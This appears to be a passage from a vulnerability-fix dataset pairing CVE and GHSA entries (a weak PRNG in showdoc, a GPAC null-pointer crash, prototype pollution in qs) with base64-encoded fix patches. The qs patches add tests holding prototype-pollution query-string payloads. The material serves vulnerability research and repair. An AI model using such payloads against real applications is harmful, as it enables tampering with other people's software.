zhmz*;I7}z#FI@0%xFhk(<G~nZ&|l!{Bk)h1(Bpv^rO;o%H@^d2e(HuEPk>Pl{Y7vZ
z9WP9P{$n#JcAWo|_59uY%V?UPr{{;R=r0@o1Y?v%f7t;2H~83=p}(1gQ5yZlTK|7w
zMaS*;Mx?`O4pSSGFW5Sgm}d1Kqact3{b>~w!2g8~>7S(7iWe9O${(X3&<I^o`!k$J
zf|P%vu@w>6e?ZZ<1%Y@p$C>oIM#i6v*uDA~C50cOAn*b@X@1&+t*h`S1$Gbh?{S)-
zJI1KPy(4Vxjz3AU+nRr+9mdmOMl8Dyo3Z}{V|T4#I-h@xf<P6fzoh=*8soc^?BTW+
zHt&DxdHcm%fIb^PgLU{?I5wUCm3T)TaM-h9@(;V<3-bx`$0!KQK`)h#eF0;6@mn<%
zHvNC98v8{rApZY!=2s0F_M{k}uy?0__vxg>fAi@uX^!;?Lyx_;iP_@*F$w|=<^Dqd
zmksYf9l&17{+?PlFa2eP?<eKZfq$nK#&Yb11ZE-pV-y6w*ZOa~e=dvvv>E&Q{d>^6
eb^pSB+`>c$M1Zc!!@;3L|KOo7;-!X|d;bGn2oTi(

literal 0
HcmV?d00001

diff --git a/package.json b/package.json
index 333240ce..58738d0e 100644
--- a/package.json
+++ b/package.json
@@ -5,7 +5,7 @@
   "main": "index.js",
   "scripts": {
     "lint:fix": "eslint **/*.js --fix && prettier --write \"./lib/**/*.{js,jsx,json}\" --tab-width 4 --print-width 150",
-    "groovy:run-server-from-source": "npm run dev:kill-server && groovy -cp \"lib/java/CodeNarc-2.2.0.jar;lib/java/groovy/lib/groovy-3.0.9.jar;lib/java/groovy/lib/groovy-templates-3.0.9.jar;lib/java/groovy/lib/groovy-xml-3.0.9.jar;lib/java/groovy/lib/groovy-json-3.0.9.jar;lib/java/groovy/lib/groovy-ant-3.0.9.jar;lib/java/groovy/lib/ant-1.10.11.jar;lib/java/groovy/lib/ant-launcher-1.10.11.jar;lib/java/slf4j-api-1.7.9.jar;lib/java/log4j-slf4j-impl-2.13.0.jar;lib/java/log4j-api-2.13.0.jar;lib/java/log4j-core-2.13.0.jar;lib/java/gmetrics-1.1.jar\" groovy/src/main/com/nvuillam/CodeNarcServer.groovy --server",
+    "groovy:run-server-from-source": "npm run dev:kill-server && groovy -cp \"lib/java/CodeNarc-2.2.0.jar;lib/java/groovy/lib/groovy-3.0.9.jar;lib/java/groovy/lib/groovy-templates-3.0.9.jar;lib/java/groovy/lib/groovy-xml-3.0.9.jar;lib/java/groovy/lib/groovy-json-3.0.9.jar;lib/java/groovy/lib/groovy-ant-3.0.9.jar;lib/java/groovy/lib/ant-1.10.11.jar;lib/java/groovy/lib/ant-launcher-1.10.11.jar;lib/java/slf4j-api-1.7.9.jar;lib/java/log4j-slf4j-impl-2.16.0.jar;lib/java/log4j-api-2.16.0.jar;lib/java/log4j-core-2.16.0.jar;lib/java/gmetrics-1.1.jar\" groovy/src/main/com/nvuillam/CodeNarcServer.groovy --server",
     "groovy:build": "npm run dev:kill-server && groovyc -cp \"./lib/java*\" --encoding utf-8 ./groovy/src/main/com/nvuillam/CodeNarcServer.groovy -d ./tmp && cd ./tmp && jar -cvfm ./../lib/java/CodeNarcServer.jar ./../MANIFEST.txt ./com/nvuillam/*.class && cd ..",
     "test": "npm run dev:kill-server && mocha \"test/**/*.test.js\"",
     "test:coverage": "nyc npm run test",", "url": "https://github.com/nvuillam/npm-groovy-lint/commit/0b664519019442052e0190170c2b1c5aff7d72e7.patch" } ]
null
CVE-2021-3990
Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in star7th/showdoc
showdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
[ { "commit_message": "[PATCH] =?UTF-8?q?Enhanced=20LDAP=20user=20password=20/=20?= =?UTF-8?q?=E5=A2=9E=E5=BC=BAldap=E7=94=A8=E6=88=B7=E5=AF=86=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit .../Controller/AdminSettingController.class.php | 4 ++-- .../Application/Api/Model/UserModel.class.php | 2 +- server/Application/Common/Common/function.php | 17 +++++++++++++++++ 3 files changed, 20 insertions(+), 3 deletions(-)", "patch_text_b64": "RnJvbSBhOTg4NmYyNmMwODIyNWUwYWRjYTc1YzY3ZGZjYTNmN2M0MmI4N2QwIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBzdGFyN3RoIDx4aW5nN3RoQGdtYWlsLmNvbT4KRGF0ZTogU2F0LCAyMCBOb3YgMjAyMSAyMDo1ODozNSArMDgwMApTdWJqZWN0OiBbUEFUQ0hdID0/VVRGLTg/cT9FbmhhbmNlZD0yMExEQVA9MjB1c2VyPTIwcGFzc3dvcmQ9MjAvPTIwPz0KID0/VVRGLTg/cT89RTU9QTI9OUU9RTU9QkM9QkFsZGFwPUU3PTk0PUE4PUU2PTg4PUI3PUU1PUFGPTg2PUU3PUEwPTgxPz0KTUlNRS1WZXJzaW9uOiAxLjAKQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04CkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDhiaXQKCi0tLQogLi4uL0NvbnRyb2xsZXIvQWRtaW5TZXR0aW5nQ29udHJvbGxlci5jbGFzcy5waHAgfCAgNCArKy0tCiAuLi4vQXBwbGljYXRpb24vQXBpL01vZGVsL1VzZXJNb2RlbC5jbGFzcy5waHAgICB8ICAyICstCiBzZXJ2ZXIvQXBwbGljYXRpb24vQ29tbW9uL0NvbW1vbi9mdW5jdGlvbi5waHAgICB8IDE3ICsrKysrKysrKysrKysrKysrCiAzIGZpbGVzIGNoYW5nZWQsIDIwIGluc2VydGlvbnMoKyksIDMgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvc2VydmVyL0FwcGxpY2F0aW9uL0FwaS9Db250cm9sbGVyL0FkbWluU2V0dGluZ0NvbnRyb2xsZXIuY2xhc3MucGhwIGIvc2VydmVyL0FwcGxpY2F0aW9uL0FwaS9Db250cm9sbGVyL0FkbWluU2V0dGluZ0NvbnRyb2xsZXIuY2xhc3MucGhwCmluZGV4IGIyMzZhYzRhMC4uMGRiNzhjMDNkIDEwMDY0NAotLS0gYS9zZXJ2ZXIvQXBwbGljYXRpb24vQXBpL0NvbnRyb2xsZXIvQWRtaW5TZXR0aW5nQ29udHJvbGxlci5jbGFzcy5waHAKKysrIGIvc2VydmVyL0FwcGxpY2F0aW9uL0FwaS9Db250cm9sbGVyL0FkbWluU2V0dGluZ0NvbnRyb2xsZXIuY2xhc3MucGhwCkBAIC0xMDAsNyArMTAwLDcgQEAgcHVibGljIGZ1bmN0aW9uIHNhdmVMZGFwQ29uZmlnKCl7CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgIC8v5aaC5p6c6K+l55So5oi35LiN5Zyo5pWw5o2u5bqT6YeM77yM5YiZ5biu5Yqp5YW25rOo5YaMCiAgICAgICAgICAgICAgICAgaWYoIUQoIlVzZXIiKS0+aXNFeGlzdCgkbGRhcF91c2VyKSl7Ci0gICAgICAgICAgICAgICAgICAgIEQoIlVzZXIiKS0+cmVnaXN0ZXIoJGxkYXBfdXNlciwkbGRhcF91c2VyLnRpbWUoKSk7CisgICAgICAgICAgICAgICAgICAgIEQoIlVzZXIiKS0+cmVnaXN0ZXIoJGxkYXBfdXNlciwkbGRhcF91c2VyLmdldF9yYW5kX3N0cigpKTsKICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgICBEKCJPcHRpb25zIiktPnNldCgibGRhcF9mb3JtIiAsIGpzb25fZW5jb2RlKCAkbGRhcF9mb3JtKSkgOwpAQCAtMjIxLDcgKzIyMSw3IEBAIHB1YmxpYyBmdW5jdGlvbiBjaGVja0xkYXBMb2dpbigpewogICAgICAgICAgICAgICAgICAgICAvL+WmguaenOivpeeUqOaIt+S4jeWcqOaVsOaNruW6k+mHjO+8jOWImeW4ruWKqeWFtuazqOWGjAogICAgICAgICAgICAgICAgICAgICAkdXNlckluZm8gPSBEKCJVc2VyIiktPmlzRXhpc3QoJHVzZXJuYW1lKSA7CiAgICAgICAgICAgICAgICAgICAgIGlmKCEkdXNlckluZm8pewotICAgICAgICAgICAgICAgICAgICAgICAgRCgiVXNlciIpLT5yZWdpc3RlcigkbGRhcF91c2VyLCRsZGFwX3VzZXIudGltZSgpKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIEQoIlVzZXIiKS0+cmVnaXN0ZXIoJGxkYXBfdXNlciwkbGRhcF91c2VyLmdldF9yYW5kX3N0cigpKTsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAkcnMyPWxkYXBfYmluZCgkbGRhcF9jb25uLCAkZG4gLCAkcGFzc3dvcmQpOwogICAgICAgICAgICAgICAgICAgICBpZiAoJHJzMikgewpkaWZmIC0tZ2l0IGEvc2VydmVyL0FwcGxpY2F0aW9uL0FwaS9Nb2RlbC9Vc2VyTW9kZWwuY2xhc3MucGhwIGIvc2VydmVyL0FwcGxpY2F0aW9uL0FwaS9Nb2RlbC9Vc2VyTW9kZWwuY2xhc3MucGhwCmluZGV4IGMxOTU5MWIwNC4uMGM4ODExMzkxIDEwMDY0NAotLS0gYS9zZXJ2ZXIvQXBwbGljYXRpb24vQXBpL01vZGVsL1VzZXJNb2RlbC5jbGFzcy5waHAKKysrIGIvc2VydmVyL0FwcGxpY2F0aW9uL0FwaS9Nb2RlbC9Vc2VyTW9kZWwuY2xhc3MucGhwCkBAIC05Miw3ICs5Miw3IEBAIHB1YmxpYyBmdW5jdGlvbiBjaGVja0xkYXBMb2dpbigkdXNlcm5hbWUgLCRwYXNzd29yZCApewogICAgICAgICAgICAgICAgICAgICAvL+WmguaenOivpeeUqOaIt+S4jeWcqOaVsOaNruW6k+mHjO+8jOWImeW4ruWKqeWFtuazqOWGjAogICAgICAgICAgICAgICAgICAgICAkdXNlckluZm8gPSBEKCJVc2VyIiktPmlzRXhpc3QoJHVzZXJuYW1lKSA7CiAgICAgICAgICAgICAgICAgICAgIGlmKCEkdXNlckluZm8pewotICAgICAgICAgICAgICAgICAgICAgICAgRCgiVXNlciIpLT5yZWdpc3RlcigkbGRhcF91c2VyLCRsZGFwX3VzZXIudGltZSgpKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIEQoIlVzZXIiKS0+cmVnaXN0ZXIoJGxkYXBfdXNlciwkbGRhcF91c2VyLmdldF9yYW5kX3N0cigpKTsKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAkcnMyPWxkYXBfYmluZCgkbGRhcF9jb25uLCAkZG4gLCAkcGFzc3dvcmQpOwogICAgICAgICAgICAgICAgICAgICBpZiAoJHJzMikgewpkaWZmIC0tZ2l0IGEvc2VydmVyL0FwcGxpY2F0aW9uL0NvbW1vbi9Db21tb24vZnVuY3Rpb24ucGhwIGIvc2VydmVyL0FwcGxpY2F0aW9uL0NvbW1vbi9Db21tb24vZnVuY3Rpb24ucGhwCmluZGV4IDJkN2M0ZWIyZC4uMGZiNjRmM2E3IDEwMDY0NAotLS0gYS9zZXJ2ZXIvQXBwbGljYXRpb24vQ29tbW9uL0NvbW1vbi9mdW5jdGlvbi5waHAKKysrIGIvc2VydmVyL0FwcGxpY2F0aW9uL0NvbW1vbi9Db21tb24vZnVuY3Rpb24ucGhwCkBAIC0yMTIsNCArMjEyLDIxIEBAIGZ1bmN0aW9uIHVuY29tcHJlc3Nfc3RyaW5nKCRzdHJpbmcpewogZnVuY3Rpb24gZW52KCRuYW1lICwgJGRlZmF1bHRfdmFsdWUgPSBmYWxzZSl7CiAgICAgcmV0dXJuIGdldGVudigkbmFtZSkgPyBnZXRlbnYoJG5hbWUpIDogJGRlZmF1bHRfdmFsdWUgOwogCit9CisKKy8vIOiOt+WPlumaj+acuuWtl+espuS4sgorZnVuY3Rpb24gZ2V0X3JhbmRfc3RyKCRsZW4gPSAzMiApeworICAgIC8vIOWvueS6jnBocDfku6XkuIrniYjmnKzvvIzlj6/liKnnlKhyYW5kb21fYnl0ZXPkuqfnlJ/pmo/mnLoKKyAgICBpZih2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sJzcuMCcsJz4nKSl7CisgICAgICAgICRyYW5kID0gYmluMmhleCggcmFuZG9tX2J5dGVzKCAxNiApICk7IAorICAgICAgICByZXR1cm4gc3Vic3RyKCRyYW5kLDAsJGxlbik7IAorICAgIH1lbHNleworICAgICAgICAvLyDlr7nkuo7kvY7niYjmnKzvvIzlj6rlpb3lsL3ph4/liqDlpKfplb/luqblrp7njrDkvKrpmo/mnLrvvIzlop7lpKfmmrTlipvnoLTop6Ppmr7luqYKKyAgICAgICAgJHMxID0gbWljcm90aW1lKHRydWUpLnRpbWUoKS5yYW5kKCkucmFuZCgpLnJhbmQoKS5taWNyb3RpbWUodHJ1ZSkudGltZSgpLnJhbmQoKS5yYW5kKCkucmFuZCgpOworICAgICAgICAkczIgPSBtaWNyb3RpbWUodHJ1ZSkudGltZSgpLnJhbmQoKS5yYW5kKCkucmFuZCgpLm1pY3JvdGltZSh0cnVlKS50aW1lKCkucmFuZCgpLnJhbmQoKS5yYW5kKCk7CisgICAgICAgICRtZDUgPSBtZDUoJHMyLmJhc2U2NF9lbmNvZGUoJHMxKSk7CisgICAgICAgIHJldHVybiBzdWJzdHIoJG1kNSwwLCRsZW4pOworICAgIH0KKworICAgIAogfQpcIE5vIG5ld2xpbmUgYXQgZW5kIG9mIGZpbGU=", "url": "https://github.com/star7th/showdoc/commit/a9886f26c08225e0adca75c67dfca3f7c42b87d0.patch" } ]
CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
CVE-2021-31260
The MergeTrack function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command.
[ { "commit_message": "[PATCH] fixed #1736 src/isomedia/track.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-)", "patch_text_b64": "RnJvbSBkZjhmZmZkODM5ZmU1YWU5YWNkODJkMjZmZDQ4MjgwYTM5NzQxMWQ5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBqZWFubGYgPGplYW5sZkBncGFjLmlvPgpEYXRlOiBUaHUsIDggQXByIDIwMjEgMTA6MjE6MjYgKzAyMDAKU3ViamVjdDogW1BBVENIXSBmaXhlZCAjMTczNgoKLS0tCiBzcmMvaXNvbWVkaWEvdHJhY2suYyB8IDEwICsrKysrKystLS0KIDEgZmlsZSBjaGFuZ2VkLCA3IGluc2VydGlvbnMoKyksIDMgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvc3JjL2lzb21lZGlhL3RyYWNrLmMgYi9zcmMvaXNvbWVkaWEvdHJhY2suYwppbmRleCA4ODFiYjFiMWY1Li41Yjc5M2U2ZDhmIDEwMDY0NAotLS0gYS9zcmMvaXNvbWVkaWEvdHJhY2suYworKysgYi9zcmMvaXNvbWVkaWEvdHJhY2suYwpAQCAtMTAzNSwxMCArMTAzNSwxMyBAQCBHRl9FcnIgTWVyZ2VUcmFjayhHRl9UcmFja0JveCAqdHJhaywgR0ZfVHJhY2tGcmFnbWVudEJveCAqdHJhZiwgR0ZfTW92aWVGcmFnbWVudAogCQkJCWlmICgoYXV4X2luZm9fdHlwZSA9PSBHRl9JU09NX0NFTkNfU0NIRU1FKSB8fCAoYXV4X2luZm9fdHlwZSA9PSBHRl9JU09NX0NCQ19TQ0hFTUUpIHx8CiAJCQkJCShhdXhfaW5mb190eXBlID09IEdGX0lTT01fQ0VOU19TQ0hFTUUpIHx8IChhdXhfaW5mb190eXBlID09IEdGX0lTT01fQ0JDU19TQ0hFTUUpIHx8CiAJCQkJCShnZl9saXN0X2NvdW50KHRyYWYtPnNhaV9vZmZzZXRzKSA9PSAxKSkgewotCQkJCQlvZmZzZXQgPSBzYWlvLT5vZmZzZXRzWzBdICsgbW9vZl9vZmZzZXQ7Ci0JCQkJCW5iX3NhaW8gPSBzYWlvLT5lbnRyeV9jb3VudDsKLQkJCQkJYnJlYWs7CisJCQkJCWlmIChzYWlvLT5vZmZzZXRzICYmIHNhaW8tPmVudHJ5X2NvdW50KSB7CisJCQkJCQlvZmZzZXQgPSBzYWlvLT5vZmZzZXRzWzBdICsgbW9vZl9vZmZzZXQ7CisJCQkJCQluYl9zYWlvID0gc2Fpby0+ZW50cnlfY291bnQ7CisJCQkJCQlicmVhazsKKwkJCQkJfQogCQkJCX0KKwkJCQlzYWlvID0gTlVMTDsKIAkJCX0KIAkJCWZvciAoaSA9IDA7IGkgPCBnZl9saXN0X2NvdW50KHRyYWYtPnNhaV9zaXplcyk7IGkrKykgewogCQkJCXNhaXogPSAoR0ZfU2FtcGxlQXV4aWxpYXJ5SW5mb1NpemVCb3ggKilnZl9saXN0X2dldCh0cmFmLT5zYWlfc2l6ZXMsIGkpOwpAQCAtMTA1MCw2ICsxMDUzLDcgQEAgR0ZfRXJyIE1lcmdlVHJhY2soR0ZfVHJhY2tCb3ggKnRyYWssIEdGX1RyYWNrRnJhZ21lbnRCb3ggKnRyYWYsIEdGX01vdmllRnJhZ21lbnQKIAkJCQkJKGdmX2xpc3RfY291bnQodHJhZi0+c2FpX3NpemVzKSA9PSAxKSkgewogCQkJCQlicmVhazsKIAkJCQl9CisJCQkJc2FpeiA9IE5VTEw7CiAJCQl9CiAJCQlpZiAoc2FpeiAmJiBzYWlvICYmIHNlbmMpIHsKIAkJCQlmb3IgKGkgPSAwOyBpIDwgc2Fpei0+c2FtcGxlX2NvdW50OyBpKyspIHs=", "url": "https://github.com/gpac/gpac/commit/df8fffd839fe5ae9acd82d26fd48280a397411d9.patch" } ]
n/a
GHSA-hrpp-h998-j3pp
qs vulnerable to Prototype Pollution
null
[ { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA0MzEwNzQyZWZiZDhjMDNmNjQ5NWYwNzkwNmI0NTIxM2RhMGEzMmVjIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCA4MWU0MTVjYy4uZjRjZGU3ZDcgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTY4LDcgKzY4LDcgQEAgdmFyIHBhcnNlT2JqZWN0ID0gZnVuY3Rpb24gcGFyc2VPYmplY3RSZWN1cnNpdmUoY2hhaW4sIHZhbCwgb3B0aW9ucykgewogICAgICAgICApIHsKICAgICAgICAgICAgIG9iaiA9IFtdOwogICAgICAgICAgICAgb2JqW2luZGV4XSA9IHBhcnNlT2JqZWN0KGNoYWluLCB2YWwsIG9wdGlvbnMpOwotICAgICAgICB9IGVsc2UgeworICAgICAgICB9IGVsc2UgaWYgKGNsZWFuUm9vdCAhPT0gJ19fcHJvdG9fXycpIHsKICAgICAgICAgICAgIG9ialtjbGVhblJvb3RdID0gcGFyc2VPYmplY3QoY2hhaW4sIHZhbCwgb3B0aW9ucyk7CiAgICAgICAgIH0KICAgICB9CmRpZmYgLS1naXQgYS90ZXN0L3BhcnNlLmpzIGIvdGVzdC9wYXJzZS5qcwppbmRleCA5YWFmNjdhZC4uYWQyNzYxNmEgMTAwNjQ0Ci0tLSBhL3Rlc3QvcGFyc2UuanMKKysrIGIvdGVzdC9wYXJzZS5qcwpAQCAtNDg3LDYgKzQ4Nyw2NiBAQCB0ZXN0KCdwYXJzZSgpJywgZnVuY3Rpb24gKHQpIHsKICAgICAgICAgc3QuZW5kKCk7CiAgICAgfSk7CiAKKyAgICB0LnRlc3QoJ2R1bmRlciBwcm90byBpcyBpZ25vcmVkJywgZnVuY3Rpb24gKHN0KSB7CisgICAgICAgIHZhciBwYXlsb2FkID0gJ2NhdGVnb3JpZXNbX19wcm90b19fXT1sb2dpbiZjYXRlZ29yaWVzW19fcHJvdG9fX10mY2F0ZWdvcmllc1tsZW5ndGhdPTQyJzsKKyAgICAgICAgdmFyIHJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHJlc3VsdCwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogJzQyJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnc2lsZW50IFtbUHJvdG90eXBlXV0gcGF5bG9hZCcKKyAgICAgICAgKTsKKworICAgICAgICB2YXIgcGxhaW5SZXN1bHQgPSBxcy5wYXJzZShwYXlsb2FkLCB7IGFsbG93UHJvdG90eXBlczogdHJ1ZSwgcGxhaW5PYmplY3RzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHBsYWluUmVzdWx0LAorICAgICAgICAgICAgeworICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgbGVuZ3RoOiAnNDInCisgICAgICAgICAgICAgICAgfQorICAgICAgICAgICAgfSwKKyAgICAgICAgICAgICdzaWxlbnQgW1tQcm90b3R5cGVdXSBwYXlsb2FkOiBwbGFpbiBvYmplY3RzJworICAgICAgICApOworCisgICAgICAgIHZhciBxdWVyeSA9IHFzLnBhcnNlKCdjYXRlZ29yaWVzW19fcHJvdG9fX109Y2F0cyZjYXRlZ29yaWVzW19fcHJvdG9fX109ZG9ncyZjYXRlZ29yaWVzW3NvbWVdW2pzb25dPXRvSW5qZWN0JywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSk7CisKKyAgICAgICAgc3Qubm90T2soQXJyYXkuaXNBcnJheShxdWVyeS5jYXRlZ29yaWVzKSwgJ2lzIG5vdCBhbiBhcnJheScpOworICAgICAgICBzdC5ub3RPayhxdWVyeS5jYXRlZ29yaWVzIGluc3RhbmNlb2YgQXJyYXksICdpcyBub3QgaW5zdGFuY2VvZiBhbiBhcnJheScpOworICAgICAgICBzdC5kZWVwRXF1YWwocXVlcnkuY2F0ZWdvcmllcywgeyBzb21lOiB7IGpzb246ICd0b0luamVjdCcgfSB9KTsKKyAgICAgICAgc3QuZXF1YWwoSlNPTi5zdHJpbmdpZnkocXVlcnkuY2F0ZWdvcmllcyksICd7InNvbWUiOnsianNvbiI6InRvSW5qZWN0In19JywgJ3N0cmluZ2lmaWVzIGFzIGEgbm9uLWFycmF5Jyk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUgfSksCisgICAgICAgICAgICB7CisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIGJhcjogJ3N0dWZmcycKKyAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICB9LAorICAgICAgICAgICAgJ2hpZGRlbiB2YWx1ZXMnCisgICAgICAgICk7CisKKyAgICAgICAgc3QuZGVlcEVxdWFsKAorICAgICAgICAgICAgcXMucGFyc2UoJ2Zvb1tfX3Byb3RvX19dW2hpZGRlbl09dmFsdWUmZm9vW2Jhcl09c3R1ZmZzJywgeyBhbGxvd1Byb3RvdHlwZXM6IHRydWUsIHBsYWluT2JqZWN0czogdHJ1ZSB9KSwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBfX3Byb3RvX186IG51bGwsCisgICAgICAgICAgICAgICAgZm9vOiB7CisgICAgICAgICAgICAgICAgICAgIF9fcHJvdG9fXzogbnVsbCwKKyAgICAgICAgICAgICAgICAgICAgYmFyOiAnc3R1ZmZzJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnaGlkZGVuIHZhbHVlczogcGxhaW4gb2JqZWN0cycKKyAgICAgICAgKTsKKworICAgICAgICBzdC5lbmQoKTsKKyAgICB9KTsKKwogICAgIHQudGVzdCgnY2FuIHJldHVybiBudWxsIG9iamVjdHMnLCB7IHNraXA6ICFPYmplY3QuY3JlYXRlIH0sIGZ1bmN0aW9uIChzdCkgewogICAgICAgICB2YXIgZXhwZWN0ZWQgPSBPYmplY3QuY3JlYXRlKG51bGwpOwogICAgICAgICBleHBlY3RlZC5hID0gT2JqZWN0LmNyZWF0ZShudWxsKTs=", "url": "https://github.com/ljharb/qs/commit/4310742efbd8c03f6495f07906b45213da0a32ec.patch" }, { "commit_message": "[PATCH] [Fix] `parse`: ignore `__proto__` keys (#428) lib/parse.js | 2 +- test/parse.js | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA3MjdlZjVkMzQ2MDUxMDhhY2IzNTEzZjcyZDU0MzU5NzJlZDE1YjY4IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3JkYW4gSGFyYmFuZCA8bGpoYXJiQGdtYWlsLmNvbT4KRGF0ZTogTW9uLCAyNyBEZWMgMjAyMSAxOToxNTo1NyAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIFtGaXhdIGBwYXJzZWA6IGlnbm9yZSBgX19wcm90b19fYCBrZXlzICgjNDI4KQoKLS0tCiBsaWIvcGFyc2UuanMgIHwgIDIgKy0KIHRlc3QvcGFyc2UuanMgfCA2MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysKIDIgZmlsZXMgY2hhbmdlZCwgNjEgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi9wYXJzZS5qcyBiL2xpYi9wYXJzZS5qcwppbmRleCA4MWU0MTVjYy4uZjRjZGU3ZDcgMTAwNjQ0Ci0tLSBhL2xpYi9wYXJzZS5qcworKysgYi9saWIvcGFyc2UuanMKQEAgLTY4LDcgKzY4LDcgQEAgdmFyIHBhcnNlT2JqZWN0ID0gZnVuY3Rpb24gcGFyc2VPYmplY3RSZWN1cnNpdmUoY2hhaW4sIHZhbCwgb3B0aW9ucykgewogICAgICAgICApIHsKICAgICAgICAgICAgIG9iaiA9IFtdOwogICAgICAgICAgICAgb2JqW2luZGV4XSA9IHBhcnNlT2JqZWN0KGNoYWluLCB2YWwsIG9wdGlvbnMpOwotICAgICAgICB9IGVsc2UgeworICAgICAgICB9IGVsc2UgaWYgKGNsZWFuUm9vdCAhPT0gJ19fcHJvdG9fXycpIHsKICAgICAgICAgICAgIG9ialtjbGVhblJvb3RdID0gcGFyc2VPYmplY3QoY2hhaW4sIHZhbCwgb3B0aW9ucyk7CiAgICAgICAgIH0KICAgICB9CmRpZmYgLS1naXQgYS90ZXN0L3BhcnNlLmpzIGIvdGVzdC9wYXJzZS5qcwppbmRleCA5YWFmNjdhZC4uYWQyNzYxNmEgMTAwNjQ0Ci0tLSBhL3Rlc3QvcGFyc2UuanMKKysrIGIvdGVzdC9wYXJzZS5qcwpAQCAtNDg3LDYgKzQ4Nyw2NiBAQCB0ZXN0KCdwYXJzZSgpJywgZnVuY3Rpb24gKHQpIHsKICAgICAgICAgc3QuZW5kKCk7CiAgICAgfSk7CiAKKyAgICB0LnRlc3QoJ2R1bmRlciBwcm90byBpcyBpZ25vcmVkJywgZnVuY3Rpb24gKHN0KSB7CisgICAgICAgIHZhciBwYXlsb2FkID0gJ2NhdGVnb3JpZXNbX19wcm90b19fXT1sb2dpbiZjYXRlZ29yaWVzW19fcHJvdG9fX10mY2F0ZWdvcmllc1tsZW5ndGhdPTQyJzsKKyAgICAgICAgdmFyIHJlc3VsdCA9IHFzLnBhcnNlKHBheWxvYWQsIHsgYWxsb3dQcm90b3R5cGVzOiB0cnVlIH0pOworCisgICAgICAgIHN0LmRlZXBFcXVhbCgKKyAgICAgICAgICAgIHJlc3VsdCwKKyAgICAgICAgICAgIHsKKyAgICAgICAgICAgICAgICBjYXRlZ29yaWVzOiB7CisgICAgICAgICAgICAgICAgICAgIGxlbmd0aDogJzQyJworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgIH0sCisgICAgICAgICAgICAnc2lsZW50IFtbUHJvdG90eXBlXV0gcGF5bG9hZCcKKyAgICAgICAgKTsKKw